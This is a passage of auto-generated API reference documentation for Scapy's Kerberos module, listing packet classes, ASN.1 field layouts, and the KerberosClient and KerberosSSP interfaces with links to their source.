	SND_SEQ

	XStrFixedLenField

	b''



	SGN_CKSUM

	PadField

	b''



	CONFOUNDER

	XStrFixedLenField

	b''















	
class scapy.layers.kerberos.KRB_InnerToken(_pkt, /, *, TOK_ID=b'\x01\x00', root=<KRB_AP_REQ  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2056-L2073]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2067-L2073]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             TOK ID            |              ROOT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. KRB_InnerToken                        


KRB_InnerToken fields






	TOK_ID

	StrFixedLenEnumField

	b'\x01\x00'



	root

	PacketField

	<KRB_AP_REQ  |>











	
payload_guess

	Possible sublayers:
Kerberos










	
class scapy.layers.kerberos.KRB_KDC_REQ_BODY(_pkt, /, *, kdcOptions=<ASN1_BIT_STRING[]=b'' (0 unused bit)>, cname=None, realm=<ASN1_GENERAL_STRING['']>, sname=None, from_=None, till=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, rtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, nonce=0x0 <ASN1_INTEGER[0]>, etype=[], addresses=[], encAuthorizationData=None, additionalTickets=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1316-L1373]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_FLAGS object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_INTEGER object>, <ASN1F_SEQUENCE_OF etype>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
KRB_KDC_REQ_BODY fields






	kdcOptions

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>



	cname

	ASN1F_PACKET

	None



	realm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	sname

	ASN1F_PACKET

	None



	from_

	ASN1F_GENERALIZED_TIME

	None



	till

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	rtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	nonce

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	etype

	ASN1F_SEQUENCE_OF

	[]



	addresses

	ASN1F_SEQUENCE_OF

	[]



	encAuthorizationData

	ASN1F_PACKET

	None



	additionalTickets

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.kerberos.KRB_PRIV(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0x15 <ASN1_INTEGER[21]>, encPart=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1601-L1610]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_PRIV fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0x15 <ASN1_INTEGER[21]>



	encPart

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_TGS_REP(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0xb <ASN1_INTEGER[11]>, padata=[], crealm=<ASN1_GENERAL_STRING['']>, cname=None, ticket=None, encPart=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1444-L1449]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_TGS_REP fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0xb <ASN1_INTEGER[11]>



	padata

	ASN1F_SEQUENCE_OF

	[]



	crealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cname

	ASN1F_PACKET

	None



	ticket

	ASN1F_PACKET

	None



	encPart

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_TGS_REQ(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0xc <ASN1_INTEGER[12]>, padata=[], reqBody=<KRB_KDC_REQ_BODY  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1412-L1418]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_TGS_REQ fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0xc <ASN1_INTEGER[12]>



	padata

	ASN1F_SEQUENCE_OF

	[]



	reqBody

	ASN1F_PACKET

	<KRB_KDC_REQ_BODY  |>















	
class scapy.layers.kerberos.KRB_TGT_REP(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0x11 <ASN1_INTEGER[17]>, ticket=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1921-L1927]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
KRB_TGT_REP fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0x11 <ASN1_INTEGER[17]>



	ticket

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KRB_TGT_REQ(_pkt, /, *, pvno=0x5 <ASN1_INTEGER[5]>, msgType=0x10 <ASN1_INTEGER[16]>, sname=None, realm=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1907-L1918]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
KRB_TGT_REQ fields






	pvno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	msgType

	ASN1F_enum_INTEGER

	0x10 <ASN1_INTEGER[16]>



	sname

	ASN1F_PACKET

	None



	realm

	ASN1F_GENERAL_STRING

	None















	
class scapy.layers.kerberos.KRB_Ticket(_pkt, /, *, tktVno=0x5 <ASN1_INTEGER[5]>, realm=<ASN1_GENERAL_STRING['']>, sname=<PrincipalName  |>, encPart=<EncryptedData  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1228-L1244]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KRB_Ticket fields






	tktVno

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	realm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	sname

	ASN1F_PACKET

	<PrincipalName  |>



	encPart

	ASN1F_PACKET

	<EncryptedData  |>











	
getSPN()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1240-L1244]

	








	
class scapy.layers.kerberos.Kerberos(_pkt, /, *, root=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2221-L2241]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
Kerberos fields






	root

	ASN1F_CHOICE

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2240-L2241]

	








	
class scapy.layers.kerberos.KerberosClient(self, debug: int = 0, store: int = 0, **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2425-L2812]

	Bases: Automaton


	
BEGIN(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
FINAL(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
class MODE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2429-L2431]

	Bases: IntEnum


	
AS_REQ = 0

	




	
TGS_REQ = 1

	








	
RES_AS_MODE[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py]

	alias of AS_Result






	
RES_TGS_MODE[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py]

	alias of TGS_Result






	
SENT_AP_REQ(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
SENT_TGS_REQ(*args: ATMT, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L506-L508]

	




	
actions: Dict[str, List[_StateWrapper]] = {'receive_as_rep': [<function KerberosClient.decrypt_as_rep>], 'receive_krb_error_as_req': [], 'receive_krb_error_tgs_req': [], 'receive_tgs_rep': [<function KerberosClient.decrypt_tgs_rep>], 'retry_after_eof_in_apreq': [], 'should_send_as_req': [<function KerberosClient.send_as_req>], 'should_send_tgs_req': [<function KerberosClient.send_tgs_req>]}

	




	
as_req()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2560-L2605]

	




	
breakpoints: Set[_StateWrapper]

	




	
conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [<function KerberosClient.should_send_as_req>, <function KerberosClient.should_send_tgs_req>], 'FINAL': [], 'SENT_AP_REQ': [], 'SENT_TGS_REQ': []}

	




	
decrypt_as_rep(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2779-L2787]

	




	
decrypt_tgs_rep(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2803-L2808]

	




	
eofs: Dict[str, _StateWrapper] = {'SENT_AP_REQ': <function KerberosClient.retry_after_eof_in_apreq>}

	




	
initial_states: List[_StateWrapper] = [<function ATMT.state.<locals>.deco.<locals>._state_wrapper>]

	




	
intercepted_packet: None | Packet

	




	
interception_points: Set[_StateWrapper]

	




	
ioevents: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'FINAL': [], 'SENT_AP_REQ': [], 'SENT_TGS_REQ': []}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
listen_sock: SuperSocket | None

	




	
packets: PacketList

	




	
receive_as_rep(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2763-L2766]

	




	
receive_krb_error_as_req(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2744-L2761]

	




	
receive_krb_error_tgs_req(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2789-L2794]

	




	
receive_tgs_rep(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2796-L2801]

	




	
recv_conditions: Dict[str, List[_StateWrapper]] = {'BEGIN': [], 'FINAL': [], 'SENT_AP_REQ': [<function KerberosClient.receive_krb_error_as_req>, <function KerberosClient.receive_as_rep>], 'SENT_TGS_REQ': [<function KerberosClient.receive_krb_error_tgs_req>, <function KerberosClient.receive_tgs_rep>]}

	




	
retry_after_eof_in_apreq()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2768-L2777]

	




	
send(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2541-L2542]

	




	
send_as_req()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2702-L2704]

	




	
send_sock: SuperSocket | None

	




	
send_tgs_req()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2706-L2708]

	




	
should_send_as_req()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2692-L2695]

	




	
should_send_tgs_req()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2697-L2700]

	




	
states: Dict[str, _StateWrapper] = {'BEGIN': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'FINAL': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_AP_REQ': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>, 'SENT_TGS_REQ': <function ATMT.state.<locals>.deco.<locals>._state_wrapper>}

	




	
stop_state: _StateWrapper | None = None

	




	
tgs_req()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2607-L2686]

	




	
threadid: int | None

	




	
timeout: Dict[str, _TimerList] = {'BEGIN': [], 'FINAL': [], 'SENT_AP_REQ': [], 'SENT_TGS_REQ': []}

	








	
class scapy.layers.kerberos.KerberosSSP(ST=None, UPN=None, PASSWORD=None, U2U=False, KEY=None, SPN=None, TGT=None, DC_IP=None, REQUIRE_U2U=False, SKEY_TYPE=None, debug=0, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3156-L4054]

	Bases: SSP

The KerberosSSP

Client settings:


	Parameters:

	
	ST – the service ticket to use for access.
If not provided, will be retrieved


	SPN – the SPN of the service to use


	UPN – The client UPN


	DC_IP – (optional) is ST+KEY are not provided, will need to contact
the KDC at this IP. If not provided, will perform dc locator.


	TGT – (optional) pass a TGT to use to get the ST.


	KEY – the session key associated with the ST if it is provided,
OR the session key associated with the TGT
OR the kerberos key associated with the UPN


	PASSWORD – (optional) if a UPN is provided and not a KEY, this is the
password of the UPN.


	U2U – (optional) use U2U when requesting the ST.








Server settings:


	Parameters:

	
	SPN – the SPN of the service to use


	KEY – the kerberos key to use to decrypt the AP-req


	TGT – (optional) pass a TGT to use for U2U


	DC_IP – (optional) if TGT is not provided, request one on the KDC at
this IP using using the KEY when using U2U.


	REQUIRE_U2U – (optional, default False) require U2U









	
class CONTEXT(IsAcceptor, req_flags=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3196-L3239]

	Bases: CONTEXT


	
IsAcceptor

	




	
KrbSessionKey

	




	
RecvSealKeyUsage

	




	
RecvSeqNum

	




	
RecvSignKeyUsage

	




	
STSessionKey

	




	
SendSealKeyUsage

	




	
SendSeqNum

	




	
SendSignKeyUsage

	




	
SeqNum

	




	
ServerHostname

	




	
SessionKey

	




	
U2U

	








	
GSS_Accept_sec_context(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3851-L4012]

	




	
GSS_GetMICEx(Context, msgs, qop_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3273-L3298]

	[MS-KILE] sect 3.4.5.6


	AES: RFC4121 sect 4.2.6.1









	
GSS_Init_sec_context(Context: CONTEXT, val=None, req_flags: GSS_C_FLAGS | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3631-L3839]

	




	
GSS_Passive(Context: CONTEXT, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L4014-L4025]

	




	
GSS_Passive_set_Direction(Context: CONTEXT, IsAcceptor=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L4027-L4039]

	




	
GSS_UnwrapEx(Context, msgs, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3488-L3629]

	[MS-KILE] sect 3.4.5.5


	AES: RFC4121 sect 4.2.6.2


	HMAC-RC4: RFC4757 sect 7.3









	
GSS_VerifyMICEx(Context, msgs, signature)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3300-L3318]

	[MS-KILE] sect 3.4.5.7


	AES: RFC4121 sect 4.2.6.1









	
GSS_WrapEx(Context, msgs, qop_req=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3320-L3486]

	[MS-KILE] sect 3.4.5.4


	AES: RFC4121 sect 4.2.6.2 and [MS-KILE] sect 3.4.5.4.1


	HMAC-RC4: RFC4757 sect 7.3 and [MS-KILE] sect 3.4.5.4.1









	
MaximumSignatureLength(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L4041-L4051]

	




	
class STATE(value, names=None, *values, module=None, qualname=None, type=None, start=1, boundary=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L3189-L3194]

	Bases: STATE


	
CLI_RCVD_APREP = 4

	




	
CLI_SENT_APREQ = 3

	




	
CLI_SENT_TGTREQ = 2

	




	
INIT = 1

	




	
SRV_SENT_APREP = 5

	








	
auth_type = 16

	




	
canMechListMIC(Context: CONTEXT)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L4053-L4054]

	




	
oid = '1.2.840.113554.1.2.2'

	








	
class scapy.layers.kerberos.KerberosTCPHeader(_pkt, /, *, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2260-L2272]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. KerberosTCPHeader                      


KerberosTCPHeader fields






	len

	LenField

	None











	
payload_guess

	Possible sublayers:
Kerberos






	
classmethod tcp_reassemble(data, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2266-L2272]

	








	
class scapy.layers.kerberos.Kpasswd(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2383-L2395]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2384-L2395]

	








	
class scapy.layers.kerberos.KpasswdTCPHeader(_pkt, /, *, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2404-L2413]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. KpasswdTCPHeader                       


KpasswdTCPHeader fields






	len

	LenField

	None











	
payload_guess

	Possible sublayers:
Kpasswd






	
classmethod tcp_reassemble(data, *args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2407-L2413]

	








	
class scapy.layers.kerberos.KrbCredInfo(_pkt, /, *, key=<EncryptionKey  |>, prealm=None, pname=None, flags=None, authtime=None, starttime=None, endtime=None, renewTill=None, srealm=None, sname=None, caddr=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1652-L1689]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
KrbCredInfo fields






	key

	ASN1F_PACKET

	<EncryptionKey  |>



	prealm

	ASN1F_GENERAL_STRING

	None



	pname

	ASN1F_PACKET

	None



	flags

	ASN1F_FLAGS

	None



	authtime

	ASN1F_GENERALIZED_TIME

	None



	starttime

	ASN1F_GENERALIZED_TIME

	None



	endtime

	ASN1F_GENERALIZED_TIME

	None



	renewTill

	ASN1F_GENERALIZED_TIME

	None



	srealm

	ASN1F_GENERAL_STRING

	None



	sname

	ASN1F_PACKET

	None



	caddr

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.kerberos.KrbFastArmor(_pkt, /, *, armorType=0x1 <ASN1_INTEGER[1]>, armorValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L986-L993]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.layers.kerberos._KrbFastArmor_value_Field object>)>

	




	
aliastypes

	




	
fields_desc

	
KrbFastArmor fields






	armorType

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	armorValue

	_KrbFastArmor_value_Field

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.KrbFastArmoredRep(_pkt, /, *, encFastRep=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1024-L1030]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>,)>,)>

	




	
aliastypes

	




	
fields_desc

	
KrbFastArmoredRep fields






	encFastRep

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KrbFastArmoredReq(_pkt, /, *, armor=<KrbFastArmor  |>, reqChecksum=<Checksum  |>, encFastReq=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L999-L1009]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KrbFastArmoredReq fields






	armor

	ASN1F_PACKET

	<KrbFastArmor  |>



	reqChecksum

	ASN1F_PACKET

	<Checksum  |>



	encFastReq

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KrbFastFinished(_pkt, /, *, timestamp=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, usec=0x0 <ASN1_INTEGER[0]>, crealm=<ASN1_GENERAL_STRING['']>, cname=None, ticketChecksum=<Checksum  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1042-L1050]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
KrbFastFinished fields






	timestamp

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	usec

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	crealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cname

	ASN1F_PACKET

	None



	ticketChecksum

	ASN1F_PACKET

	<Checksum  |>















	
class scapy.layers.kerberos.KrbFastReq(_pkt, /, *, fastOptions=<ASN1_BIT_STRING[]=b'' (0 unused bit)>, padata=[<PADATA  |>], reqBody=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1384-L1401]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_FLAGS object>, <ASN1F_SEQUENCE_OF padata>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
KrbFastReq fields






	fastOptions

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>



	padata

	ASN1F_SEQUENCE_OF

	[<PADATA  |>]



	reqBody

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.KrbFastResponse(_pkt, /, *, padata=[<PADATA  |>], stengthenKey=None, finished=<KrbFastFinished  ticketChecksum=<Checksum  |> |>, nonce=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1053-L1066]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE_OF padata>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_INTEGER object>)>

	




	
aliastypes

	




	
fields_desc

	
KrbFastResponse fields






	padata

	ASN1F_SEQUENCE_OF

	[<PADATA  |>]



	stengthenKey

	ASN1F_PACKET

	None



	finished

	ASN1F_PACKET

	<KrbFastFinished  ticketChecksum=<Checksum  |> |>



	nonce

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.kerberos.LSAP_TOKEN_INFO_INTEGRITY(_pkt, /, *, Flags=<Flag 0 ()>, TokenIL=8192, MachineID=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L819-L842]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TOKENIL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MACHINEID                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LSAP_TOKEN_INFO_INTEGRITY                  


LSAP_TOKEN_INFO_INTEGRITY fields






	Flags

	FlagsField

	<Flag 0 ()>



	TokenIL

	LEIntEnumField

	8192



	MachineID

	XStrFixedLenField

	b''















	
